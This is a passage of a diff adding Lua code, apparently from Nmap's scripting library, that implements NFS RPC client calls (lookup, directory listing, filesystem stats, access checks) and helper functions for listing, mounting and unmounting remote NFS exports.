+ stdnse.debug1("NFS.LookUpDecode: NFS unsupported version %d", comm.version)
+ return -1, nil
+ end
+
+ return pos, lookup
+ end,
+
+ LookUp = function(self, comm, dir_handle, file)
+ local status, packet
+ local pos, data = 1, ""
+ local header, response = {}, {}
+
+ if (not(dir_handle)) then
+ return false, "LookUp: No dirhandle received"
+ end
+
+ data = Util.marshall_opaque(dir_handle) .. Util.marshall_vopaque(file)
+ packet = comm:EncodePacket(nil, NFS.Procedure[comm.version].LOOKUP,
+ {type=Portmap.AuthType.UNIX}, data)
+ if(not(comm:SendPacket(packet))) then
+ return false, "LookUp: Failed to send data"
+ end
+
+ status, data = comm:ReceivePacket()
+ if ( not(status) ) then
+ return false, "LookUp: Failed to read data from socket"
+ end
+
+ pos, header = comm:DecodeHeader(data, pos)
+ if not header then
+ return false, "LookUp: Failed to decode header"
+ end
+ pos, response = self:LookUpDecode(comm, data, pos)
+ if (not(response)) then
+ return false, "LookUp: Failed to decode the LOOKUP section"
+ end
+
+ return true, response
+ end,
+
+ ReadDirPlusDecode = function(self, comm, data, pos)
+ local response, status, value_follows, _ = {}
+
+ status, data = comm:GetAdditionalBytes(data, pos, 4)
+ if not status then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, status = Util.unmarshall_uint32(data, pos)
+ if (not self:CheckStat("READDIRPLUS", comm.version, status)) then
+ return -1, nil
+ end
+
+ status, data = comm:GetAdditionalBytes(data, pos, 4)
+ if not status then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ value_follows, pos = string.unpack(">I4", data, pos)
+ if value_follows == 0 then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Attributes follow failed")
+ return -1, nil
+ end
+
+ status, data = comm:GetAdditionalBytes( data, pos, 84 )
+ if not status then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ response.attributes = {}
+ pos, response.attributes = Util.unmarshall_nfsattr(data, pos, comm.version)
+
+ status, data = comm:GetAdditionalBytes(data, pos, 8)
+ if not status then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ _, pos = string.unpack(">I8", data, pos)
+
+ response.entries = {}
+ while true do
+ local entry, len = {}
+ status, data = comm:GetAdditionalBytes(data, pos, 4)
+ if not status then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ value_follows, pos = string.unpack(">I4", data, pos)
+
+ if (value_follows == 0) then
+ break
+ end
+ status, data = comm:GetAdditionalBytes(data, pos, 8)
+ if not status then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ entry.fileid, pos = string.unpack(">I8", data, pos)
+
+ status, data = comm:GetAdditionalBytes(data, pos, 4)
+
+ if not status then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ entry.length, pos = string.unpack(">I4", data, pos)
+ status, data = comm:GetAdditionalBytes( data, pos, entry.length )
+ if not status then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, entry.name = Util.unmarshall_vopaque(entry.length, data, pos)
+ status, data = comm:GetAdditionalBytes(data, pos, 8)
+ if not status then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ entry.cookie, pos = string.unpack(">I8", data, pos)
+ status, data = comm:GetAdditionalBytes(data, pos, 4)
+ if not status then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ entry.attributes = {}
+ value_follows, pos = string.unpack(">I4", data, pos)
+ if (value_follows ~= 0) then
+ status, data = comm:GetAdditionalBytes(data, pos, 84)
+ if not status then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ pos, entry.attributes = Util.unmarshall_nfsattr(data, pos, comm.version)
+ else
+ stdnse.debug4("NFS.ReadDirPlusDecode: %s Attributes follow failed",
+ entry.name)
+ end
+
+ status, data = comm:GetAdditionalBytes(data, pos, 4)
+ if not status then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ entry.fhandle = ""
+ value_follows, pos = string.unpack(">I4", data, pos)
+ if (value_follows ~= 0) then
+ status, data = comm:GetAdditionalBytes(data, pos, 4)
+ if not status then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ len = string.unpack(">I4", data, pos)
+ status, data = comm:GetAdditionalBytes(data, pos, len + 4)
+ if not status then
+ stdnse.debug4("NFS.ReadDirPlusDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ entry.fhandle, pos = string.unpack( "c" .. len + 4, data, pos )
+ else
+ stdnse.debug4("NFS.ReadDirPlusDecode: %s handle follow failed",
+ entry.name)
+ end
+ table.insert(response.entries, entry)
+ end
+
+ return pos, response
+ end,
+
+ ReadDirPlus = function(self, comm, file_handle)
+ local status, packet
+ local cookie, opaque_data, dircount, maxcount = 0, 0, 512, 8192
+ local pos, data = 1, ""
+ local header, response = {}, {}
+
+ if (comm.version < 3) then
+ return false, string.format("NFS version: %d does not support ReadDirPlus",
+ comm.version)
+ end
+
+ if not file_handle then
+ return false, "ReadDirPlus: No filehandle received"
+ end
+
+ data = file_handle .. string.pack(">I8 I8 I4 I4", cookie, opaque_data, dircount, maxcount)
+
+ packet = comm:EncodePacket(nil, NFS.Procedure[comm.version].READDIRPLUS,
+ {type = Portmap.AuthType.UNIX }, data)
+
+ if (not(comm:SendPacket(packet))) then
+ return false, "ReadDirPlus: Failed to send data"
+ end
+
+ status, data = comm:ReceivePacket()
+ if not status then
+ return false, "ReadDirPlus: Failed to read data from socket"
+ end
+
+ pos, header = comm:DecodeHeader( data, pos )
+ if not header then
+ return false, "ReadDirPlus: Failed to decode header"
+ end
+ pos, response = self:ReadDirPlusDecode( comm, data, pos )
+ if not response then
+ return false, "ReadDirPlus: Failed to decode the READDIR section"
+ end
+
+ return true, response
+ end,
+
+ FsStatDecode = function(self, comm, data, pos)
+ local fsstat, status, value_follows = {}
+
+ status, data = comm:GetAdditionalBytes(data, pos, 4)
+ if not status then
+ stdnse.debug4("NFS.FsStatDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, status = Util.unmarshall_uint32(data, pos)
+ if (not self:CheckStat("FSSTAT", comm.version, status)) then
+ return -1, nil
+ end
+
+ fsstat.attributes = {}
+ pos, value_follows = Util.unmarshall_uint32(data, pos)
+ if (value_follows ~= 0) then
+ status, data = comm:GetAdditionalBytes(data, pos, 84)
+ if not status then
+ stdnse.debug4("NFS.FsStatDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ pos, fsstat.attributes = Util.unmarshall_nfsattr(data, pos, comm.version)
+ else
+ stdnse.debug4("NFS.FsStatDecode: Attributes follow failed")
+ end
+
+ status, data = comm:GetAdditionalBytes( data, pos, 52)
+ if not status then
+ stdnse.debug4("NFS.FsStatDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, fsstat.tbytes, fsstat.fbytes, fsstat.abytes, fsstat.tfiles,
+ fsstat.ffiles, fsstat.afiles = Util.unmarshall_nfssize3(data, pos, 6)
+ pos, fsstat.invarsec = Util.unmarshall_uint32(data, pos)
+
+ return pos, fsstat
+ end,
+
+ FsStat = function(self, comm, file_handle)
+ local status, packet
+ local pos, data = 1, ""
+ local header, response = {}, {}
+
+ if (comm.version < 3) then
+ return false, string.format("NFS version: %d does not support FSSTAT",
+ comm.version)
+ end
+
+ if not file_handle then
+ return false, "FsStat: No filehandle received"
+ end
+
+ packet = comm:EncodePacket(nil, NFS.Procedure[comm.version].FSSTAT,
+ {type = Portmap.AuthType.UNIX}, file_handle)
+
+ if (not(comm:SendPacket(packet))) then
+ return false, "FsStat: Failed to send data"
+ end
+
+ status, data = comm:ReceivePacket()
+ if not status then
+ return false, "FsStat: Failed to read data from socket"
+ end
+
+ pos, header = comm:DecodeHeader(data, pos)
+ if not header then
+ return false, "FsStat: Failed to decode header"
+ end
+
+ pos, response = self:FsStatDecode(comm, data, pos)
+ if not response then
+ return false, "FsStat: Failed to decode the FSSTAT section"
+ end
+ return true, response
+ end,
+
+ FsInfoDecode = function(self, comm, data, pos)
+ local fsinfo, status, value_follows = {}
+
+ status, data = comm:GetAdditionalBytes(data, pos, 4)
+ if not status then
+ stdnse.debug4("NFS.FsInfoDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, status = Util.unmarshall_uint32(data, pos)
+ if (not self:CheckStat("FSINFO", comm.version, status)) then
+ return -1, nil
+ end
+
+ fsinfo.attributes = {}
+ pos, value_follows = Util.unmarshall_uint32(data, pos)
+ if (value_follows ~= 0) then
+ status, data = comm:GetAdditionalBytes(data, pos, 84)
+ if not status then
+ stdnse.debug4("NFS.FsInfoDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ pos, fsinfo.attributes = Util.unmarshall_nfsattr(data, pos, comm.version)
+ else
+ stdnse.debug4("NFS.FsInfoDecode: Attributes follow failed")
+ end
+
+ status, data = comm:GetAdditionalBytes(data, pos, 48)
+ if not status then
+ stdnse.debug4("NFS.FsStatDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, fsinfo.rtmax, fsinfo.rtpref, fsinfo.rtmult,
+ fsinfo.wtmax, fsinfo.wtpref, fsinfo.wtmult,
+ fsinfo.dtpref = Util.unmarshall_uint32(data, pos, 7)
+ pos, fsinfo.maxfilesize = Util.unmarshall_nfssize3(data, pos)
+ pos, fsinfo.time_delta = Util.unmarshall_nfstime(data, pos)
+ pos, fsinfo.properties = Util.unmarshall_uint32(data, pos)
+
+ return pos, fsinfo
+ end,
+
+ FsInfo = function(self, comm, file_handle)
+ local status, packet
+ local pos, data = 1, ""
+ local header, response = {}
+
+ if (comm.version < 3) then
+ return false, string.format("NFS version: %d does not support FSINFO",
+ comm.version)
+ end
+
+ if not file_handle then
+ return false, "FsInfo: No filehandle received"
+ end
+
+ data = Util.marshall_opaque(file_handle)
+ packet = comm:EncodePacket(nil, NFS.Procedure[comm.version].FSINFO,
+ {type = Portmap.AuthType.UNIX}, data)
+
+ if (not(comm:SendPacket(packet))) then
+ return false, "FsInfo: Failed to send data"
+ end
+
+ status, data = comm:ReceivePacket()
+ if not status then
+ return false, "FsInfo: Failed to read data from socket"
+ end
+
+ pos, header = comm:DecodeHeader(data, pos)
+ if not header then
+ return false, "FsInfo: Failed to decode header"
+ end
+
+ pos, response = self:FsInfoDecode(comm, data, pos)
+ if not response then
+ return false, "FsInfo: Failed to decode the FSINFO section"
+ end
+ return true, response
+ end,
+
+ PathConfDecode = function(self, comm, data, pos)
+ local pconf, status, value_follows = {}
+
+ status, data = comm:GetAdditionalBytes(data, pos, 4)
+ if not status then
+ stdnse.debug4("NFS.PathConfDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, status = Util.unmarshall_uint32(data, pos)
+ if (not self:CheckStat("PATHCONF", comm.version, status)) then
+ return -1, nil
+ end
+
+ pconf.attributes = {}
+ pos, value_follows = Util.unmarshall_uint32(data, pos)
+ if (value_follows ~= 0) then
+ status, data = comm:GetAdditionalBytes(data, pos, 84)
+ if not status then
+ stdnse.debug4("NFS.PathConfDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ pos, pconf.attributes = Util.unmarshall_nfsattr(data, pos, comm.version)
+ else
+ stdnse.debug4("NFS.PathConfDecode: Attributes follow failed")
+ end
+
+ status, data = comm:GetAdditionalBytes(data, pos, 24)
+ if not status then
+ stdnse.debug4("NFS.PathConfDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, pconf.linkmax, pconf.name_max, pconf.no_trunc,
+ pconf.chown_restricted, pconf.case_insensitive,
+ pconf.case_preserving = Util.unmarshall_uint32(data, pos, 6)
+
+ return pos, pconf
+ end,
+
+ PathConf = function(self, comm, file_handle)
+ local status, packet
+ local pos, data = 1, ""
+ local header, response = {}
+
+ if (comm.version < 3) then
+ return false, string.format("NFS version: %d does not support PATHCONF",
+ comm.version)
+ end
+
+ if not file_handle then
+ return false, "PathConf: No filehandle received"
+ end
+
+ data = Util.marshall_opaque(file_handle)
+ packet = comm:EncodePacket(nil, NFS.Procedure[comm.version].PATHCONF,
+ {type = Portmap.AuthType.UNIX}, data)
+
+ if (not(comm:SendPacket(packet))) then
+ return false, "PathConf: Failed to send data"
+ end
+
+ status, data = comm:ReceivePacket()
+ if not status then
+ return false, "PathConf: Failed to read data from socket"
+ end
+
+ pos, header = comm:DecodeHeader(data, pos)
+ if not header then
+ return false, "PathConf: Failed to decode header"
+ end
+
+ pos, response = self:PathConfDecode(comm, data, pos)
+ if not response then
+ return false, "PathConf: Failed to decode the PATHCONF section"
+ end
+ return true, response
+ end,
+
+ AccessDecode = function(self, comm, data, pos)
+ local access, status, value_follows = {}
+
+ status, data = comm:GetAdditionalBytes(data, pos, 4)
+ if not status then
+ stdnse.debug4("NFS.AccessDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, status = Util.unmarshall_uint32(data, pos)
+ if (not self:CheckStat("ACCESS", comm.version, status)) then
+ return -1, nil
+ end
+
+ access.attributes = {}
+ pos, value_follows = Util.unmarshall_uint32(data, pos)
+ if (value_follows ~= 0) then
+ status, data = comm:GetAdditionalBytes(data, pos, 84)
+ if not status then
+ stdnse.debug4("NFS.AccessDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ pos, access.attributes = Util.unmarshall_nfsattr(data, pos, comm.version)
+ else
+ stdnse.debug4("NFS.AccessDecode: Attributes follow failed")
+ end
+
+ status, data = comm:GetAdditionalBytes(data, pos, 4)
+ if not status then
+ stdnse.debug4("NFS.AccessDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, access.mask = Util.unmarshall_uint32(data, pos)
+
+ return pos, access
+ end,
+
+ Access = function(self, comm, file_handle, access)
+ local status, packet
+ local pos, data = 1, ""
+ local header, response = {}, {}
+
+ if (comm.version < 3) then
+ return false, string.format("NFS version: %d does not support ACCESS",
+ comm.version)
+ end
+
+ if not file_handle then
+ return false, "Access: No filehandle received"
+ end
+
+ data = Util.marshall_opaque(file_handle) .. Util.marshall_uint32(access)
+ packet = comm:EncodePacket(nil, NFS.Procedure[comm.version].ACCESS,
+ {type = Portmap.AuthType.UNIX}, data)
+
+ if (not(comm:SendPacket(packet))) then
+ return false, "Access: Failed to send data"
+ end
+
+ status, data = comm:ReceivePacket()
+ if not status then
+ return false, "Access: Failed to read data from socket"
+ end
+
+ pos, header = comm:DecodeHeader(data, pos)
+ if not header then
+ return false, "Access: Failed to decode header"
+ end
+
+ pos, response = self:AccessDecode(comm, data, pos)
+ if not response then
+ return false, "Access: Failed to decode the FSSTAT section"
+ end
+
+ return true, response
+ end,
+
+ --- Gets filesystem stats (Total Blocks, Free Blocks and Available block) on a remote NFS share
+ --
+ -- @param comm object handles rpc program information and
+ -- low-level packet manipulation
+ -- @param file_handle string containing the filehandle to query
+ -- @return status true on success, false on failure
+ -- @return statfs table with the fields <code>transfer_size</code>, <code>block_size</code>,
+ -- <code>total_blocks</code>, <code>free_blocks</code> and <code>available_blocks</code>
+ -- @return errormsg if status is false
+ StatFs = function( self, comm, file_handle )
+
+ local status, packet
+ local pos, data, _ = 1, "", ""
+ local header, statfs = {}, {}
+
+ if ( comm.version > 2 ) then
+ return false, ("StatFs: Version %d not supported"):format(comm.version)
+ end
+
+ if ( not(file_handle) or file_handle:len() ~= 32 ) then
+ return false, "StatFs: Incorrect filehandle received"
+ end
+
+ data = Util.marshall_opaque(file_handle)
+ packet = comm:EncodePacket( nil, NFS.Procedure[comm.version].STATFS, { type=Portmap.AuthType.UNIX }, data )
+ if (not(comm:SendPacket( packet ))) then
+ return false, "StatFS: Failed to send data"
+ end
+
+ status, data = comm:ReceivePacket( )
+ if ( not(status) ) then
+ return false, "StatFs: Failed to read data from socket"
+ end
+
+ pos, header = comm:DecodeHeader( data, pos )
+
+ if not header then
+ return false, "StatFs: Failed to decode header"
+ end
+
+ pos, statfs = self:StatFsDecode( comm, data, pos )
+
+ if not statfs then
+ return false, "StatFs: Failed to decode statfs structure"
+ end
+ return true, statfs
+ end,
+
+ --- Attempts to decode the attributes section of the reply
+ --
+ -- @param comm object handles rpc program information and
+ -- low-level packet manipulation
+ -- @param data string containing the full statfs reply
+ -- @param pos number pointing to the statfs section of the reply
+ -- @return pos number containing the offset after decoding
+ -- @return statfs table with the following fields: <code>type</code>, <code>mode</code>,
+ -- <code>nlink</code>, <code>uid</code>, <code>gid</code>, <code>size</code>,
+ -- <code>blocksize</code>, <code>rdev</code>, <code>blocks</code>, <code>fsid</code>,
+ -- <code>fileid</code>, <code>atime</code>, <code>mtime</code> and <code>ctime</code>
+ --
+ GetAttrDecode = function( self, comm, data, pos )
+ local status
+
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if (not(status)) then
+ stdnse.debug4("GetAttrDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, status = Util.unmarshall_uint32(data, pos)
+ if (not self:CheckStat("GETATTR", comm.version, status)) then
+ return -1, nil
+ end
+
+ if ( comm.version < 3 ) then
+ status, data = comm:GetAdditionalBytes( data, pos, 64 )
+ elseif (comm.version == 3) then
+ status, data = comm:GetAdditionalBytes( data, pos, 84 )
+ else
+ stdnse.debug4("GetAttrDecode: Unsupported version")
+ return -1, nil
+ end
+ if ( not(status) ) then
+ stdnse.debug4("GetAttrDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ return Util.unmarshall_nfsattr(data, pos, comm.version)
+ end,
+
+ --- Gets mount attributes (uid, gid, mode, etc ..) from a remote NFS share
+ --
+ -- @param comm object handles rpc program information and
+ -- low-level packet manipulation
+ -- @param file_handle string containing the filehandle to query
+ -- @return status true on success, false on failure
+ -- @return attribs table with the fields <code>type</code>, <code>mode</code>,
+ -- <code>nlink</code>, <code>uid</code>, <code>gid</code>, <code>size</code>,
+ -- <code>blocksize</code>, <code>rdev</code>, <code>blocks</code>, <code>fsid</code>,
+ -- <code>fileid</code>, <code>atime</code>, <code>mtime</code> and <code>ctime</code>
+ -- @return errormsg if status is false
+ GetAttr = function( self, comm, file_handle )
+ local data, packet, status, attribs, pos, header
+
+ data = Util.marshall_opaque(file_handle)
+ packet = comm:EncodePacket( nil, NFS.Procedure[comm.version].GETATTR, { type=Portmap.AuthType.UNIX }, data )
+ if(not(comm:SendPacket(packet))) then
+ return false, "GetAttr: Failed to send data"
+ end
+
+ status, data = comm:ReceivePacket()
+ if ( not(status) ) then
+ return false, "GetAttr: Failed to read data from socket"
+ end
+
+ pos, header = comm:DecodeHeader( data, 1 )
+ if not header then
+ return false, "GetAttr: Failed to decode header"
+ end
+
+ pos, attribs = self:GetAttrDecode(comm, data, pos )
+ if not attribs then
+ return false, "GetAttr: Failed to decode attrib structure"
+ end
+
+ return true, attribs
+ end,
+
+ --- Attempts to decode the StatFS section of the reply
+ --
+ -- @param comm object handles rpc program information and
+ -- low-level packet manipulation
+ -- @param data string containing the full statfs reply
+ -- @param pos number pointing to the statfs section of the reply
+ -- @return pos number containing the offset after decoding
+ -- @return statfs table with the following fields: <code>transfer_size</code>, <code>block_size</code>,
+ -- <code>total_blocks</code>, <code>free_blocks</code> and <code>available_blocks</code>
+ StatFsDecode = function( self, comm, data, pos )
+ local status
+ local statfs = {}
+
+ status, data = comm:GetAdditionalBytes( data, pos, 4 )
+ if (not(status)) then
+ stdnse.debug4("StatFsDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+
+ pos, status = Util.unmarshall_uint32(data, pos)
+ if (not self:CheckStat("STATFS", comm.version, status)) then
+ return -1, nil
+ end
+
+ status, data = comm:GetAdditionalBytes( data, pos, 20 )
+ if (not(status)) then
+ stdnse.debug4("StatFsDecode: Failed to call GetAdditionalBytes")
+ return -1, nil
+ end
+ pos, statfs.transfer_size, statfs.block_size,
+ statfs.total_blocks, statfs.free_blocks,
+ statfs.available_blocks = Util.unmarshall_uint32(data, pos, 5)
+ return pos, statfs
+ end,
+}
+
+Helper = {
+
+ --- Lists the NFS exports on the remote host
+ -- This function abstracts the RPC communication with the portmapper from the user
+ --
+ -- @param host table
+ -- @param port table
+ -- @return status true on success, false on failure
+ -- @return result table of string entries or error message on failure
+ ShowMounts = function( host, port )
+
+ local status, result, mounts
+ local mountd, mnt_comm
+ local mnt = Mount:new()
+ local portmap = Portmap:new()
+
+ status, mountd = Helper.GetProgramInfo( host, port, "mountd")
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.ShowMounts: GetProgramInfo failed")
+ return status, "rpc.Helper.ShowMounts: GetProgramInfo failed"
+ end
+
+ mnt_comm = Comm:new('mountd', mountd.version)
+ status, result = mnt_comm:Connect(host, mountd.port)
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.ShowMounts: %s", result)
+ return false, result
+ end
+ status, mounts = mnt:Export(mnt_comm)
+ mnt_comm:Disconnect()
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.ShowMounts: %s", mounts)
+ end
+ return status, mounts
+ end,
+
+ --- Mounts a remote NFS export and returns the file handle
+ --
+ -- This is a high level function to be used by NSE scripts
+ -- To close the mounted NFS export use UnmountPath() function
+ --
+ -- @param host table
+ -- @param port table
+ -- @param path string containing the path to mount
+ -- @return on success a Comm object which can be
+ -- used later as a parameter by low level Mount
+ -- functions, on failure returns nil.
+ -- @return on success the filehandle of the NFS export as
+ -- a string, on failure returns the error message.
+ MountPath = function(host, port, path)
+ local fhandle, status, err
+ local mountd, mnt_comm
+ local mnt = Mount:new()
+
+ status, mountd = Helper.GetProgramInfo( host, port, "mountd")
+ if not status then
+ stdnse.debug4("rpc.Helper.MountPath: GetProgramInfo failed")
+ return nil, "rpc.Helper.MountPath: GetProgramInfo failed"
+ end
+
+ mnt_comm = Comm:new("mountd", mountd.version)
+
+ status, err = mnt_comm:Connect(host, mountd.port)
+ if not status then
+ stdnse.debug4("rpc.Helper.MountPath: %s", err)
+ return nil, err
+ end
+
+ status, fhandle = mnt:Mount(mnt_comm, path)
+ if not status then
+ mnt_comm:Disconnect()
+ stdnse.debug4("rpc.Helper.MountPath: %s", fhandle)
+ return nil, fhandle
+ end
+
+ return mnt_comm, fhandle
+ end,
+
+ --- Unmounts a remote mounted NFS export
+ --
+ -- This is a high level function to be used by NSE scripts
+ -- This function must be used to unmount a NFS point
+ -- mounted by MountPath()
+ --
+ -- @param mnt_comm object returned from a previous call to
+ -- MountPath()
+ -- @param path string containing the path to unmount
+ -- @return true on success or nil on failure
+ -- @return error message on failure
+ UnmountPath = function(mnt_comm, path)
+ local mnt = Mount:new()
+ local status, ret = mnt:Unmount(mnt_comm, path)
+ mnt_comm:Disconnect()
+ if not status then
+ stdnse.debug4("rpc.Helper.UnmountPath: %s", ret)
+ return nil, ret
+ end
+
+ return status, nil
+ end,
+
+ --- Connects to a remote NFS server
+ --
+ -- This is a high level function to open NFS connections
+ -- To close the NFS connection use NfsClose() function
+ --
+ -- @param host table
+ -- @param port table
+ -- @return on success a Comm object which can be
+ -- used later as a parameter by low level NFS
+ -- functions, on failure returns nil.
+ -- @return error message on failure.
+ NfsOpen = function(host, port)
+ local nfs_comm, nfsd, status, err
+
+ status, nfsd = Helper.GetProgramInfo(host, port, "nfs")
+ if not status then
+ stdnse.debug4("rpc.Helper.NfsOpen: GetProgramInfo failed")
+ return nil, "rpc.Helper.NfsOpen: GetProgramInfo failed"
+ end
+
+ nfs_comm = Comm:new('nfs', nfsd.version)
+ status, err = nfs_comm:Connect(host, nfsd.port)
+ if not status then
+ stdnse.debug4("rpc.Helper.NfsProc: %s", err)
+ return nil, err
+ end
+
+ return nfs_comm, nil
+ end,
+
+ --- Closes the NFS connection
+ --
+ -- This is a high level function to close NFS connections
+ -- This function must be used to close the NFS connection
+ -- opened by the NfsOpen() call
+ --
+ -- @param nfs_comm object returned by NfsOpen()
+ -- @return true on success or nil on failure
+ -- @return error message on failure
+ NfsClose = function(nfs_comm)
+ local status, ret = nfs_comm:Disconnect()
+ if not status then
+ stdnse.debug4("rpc.Helper.NfsClose: %s", ret)
+ return nil, ret
+ end
+
+ return status, nil
+ end,
+
+ --- Retrieves NFS storage statistics
+ --
+ -- @param host table
+ -- @param port table
+ -- @param path string containing the nfs export path
+ -- @return status true on success, false on failure
+ -- @return statfs table with the fields <code>transfer_size</code>, <code>block_size</code>,
+ -- <code>total_blocks</code>, <code>free_blocks</code> and <code>available_blocks</code>
+ ExportStats = function( host, port, path )
+ local fhandle
+ local stats, status, result
+ local mnt_comm, nfs_comm
+ local mountd, nfsd = {}, {}
+ local mnt, nfs = Mount:new(), NFS:new()
+
+ status, mountd = Helper.GetProgramInfo( host, port, "mountd", 2)
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.ExportStats: GetProgramInfo failed")
+ return status, "rpc.Helper.ExportStats: GetProgramInfo failed"
+ end
+
+ status, nfsd = Helper.GetProgramInfo( host, port, "nfs", 2)
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.ExportStats: GetProgramInfo failed")
+ return status, "rpc.Helper.ExportStats: GetProgramInfo failed"
+ end
+ mnt_comm = Comm:new('mountd', mountd.version)
+ nfs_comm = Comm:new('nfs', nfsd.version)
+
+ -- TODO: recheck the version mismatch when adding NFSv4
+ if (nfs_comm.version <= 2 and mnt_comm.version > 2) then
+ stdnse.debug4("rpc.Helper.ExportStats: versions mismatch, nfs v%d - mount v%d",
+ nfs_comm.version, mnt_comm.version)
+ return false, string.format("versions mismatch, nfs v%d - mount v%d",
+ nfs_comm.version, mnt_comm.version)
+ end
+ status, result = mnt_comm:Connect(host, mountd.port)
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.ExportStats: %s", result)
+ return status, result
+ end
+ status, result = nfs_comm:Connect(host, nfsd.port)
+ if ( not(status) ) then
+ mnt_comm:Disconnect()
+ stdnse.debug4("rpc.Helper.ExportStats: %s", result)
+ return status, result
+ end
+
+ status, fhandle = mnt:Mount(mnt_comm, path)
+ if ( not(status) ) then
+ mnt_comm:Disconnect()
+ nfs_comm:Disconnect()
+ stdnse.debug4("rpc.Helper.ExportStats: %s", fhandle)
+ return status, fhandle
+ end
+ status, stats = nfs:StatFs(nfs_comm, fhandle)
+ if ( not(status) ) then
+ mnt_comm:Disconnect()
+ nfs_comm:Disconnect()
+ stdnse.debug4("rpc.Helper.ExportStats: %s", stats)
+ return status, stats
+ end
+
+ status, fhandle = mnt:Unmount(mnt_comm, path)
+ mnt_comm:Disconnect()
+ nfs_comm:Disconnect()
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.ExportStats: %s", fhandle)
+ return status, fhandle
+ end
+ return true, stats
+ end,
+
+ --- Retrieves a list of files from the NFS export
+ --
+ -- @param host table
+ -- @param port table
+ -- @param path string containing the nfs export path
+ -- @return status true on success, false on failure
+ -- @return table of file table entries as described in <code>decodeReadDir</code>
+ Dir = function( host, port, path )
+ local fhandle
+ local dirs, status, result
+ local mountd, nfsd = {}, {}
+ local mnt_comm, nfs_comm
+ local mnt, nfs = Mount:new(), NFS:new()
+
+ status, mountd = Helper.GetProgramInfo( host, port, "mountd")
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.Dir: GetProgramInfo failed")
+ return status, "rpc.Helper.Dir: GetProgramInfo failed"
+ end
+
+ status, nfsd = Helper.GetProgramInfo( host, port, "nfs")
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.Dir: GetProgramInfo failed")
+ return status, "rpc.Helper.Dir: GetProgramInfo failed"
+ end
+
+ mnt_comm = Comm:new('mountd', mountd.version)
+ nfs_comm = Comm:new('nfs', nfsd.version)
+
+ -- TODO: recheck the version mismatch when adding NFSv4
+ if (nfs_comm.version <= 2 and mnt_comm.version > 2) then
+ stdnse.debug4("rpc.Helper.Dir: versions mismatch, nfs v%d - mount v%d",
+ nfs_comm.version, mnt_comm.version)
+ return false, string.format("versions mismatch, nfs v%d - mount v%d",
+ nfs_comm.version, mnt_comm.version)
+ end
+ status, result = mnt_comm:Connect(host, mountd.port)
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.Dir: %s", result)
+ return status, result
+ end
+
+ status, result = nfs_comm:Connect(host, nfsd.port)
+ if ( not(status) ) then
+ mnt_comm:Disconnect()
+ stdnse.debug4("rpc.Helper.Dir: %s", result)
+ return status, result
+ end
+
+ status, fhandle = mnt:Mount(mnt_comm, path )
+ if ( not(status) ) then
+ mnt_comm:Disconnect()
+ nfs_comm:Disconnect()
+ stdnse.debug4("rpc.Helper.Dir: %s", fhandle)
+ return status, fhandle
+ end
+
+ status, dirs = nfs:ReadDir(nfs_comm, fhandle )
+ if ( not(status) ) then
+ mnt_comm:Disconnect()
+ nfs_comm:Disconnect()
+ stdnse.debug4("rpc.Helper.Dir: %s", dirs)
+ return status, dirs
+ end
+
+ status, fhandle = mnt:Unmount(mnt_comm, path)
+ mnt_comm:Disconnect()
+ nfs_comm:Disconnect()
+ if ( not(status) ) then
+ stdnse.debug4("rpc.Helper.Dir: %s", fhandle)
+ return status, fhandle
+ end
+ return true, dirs
+ end,
+
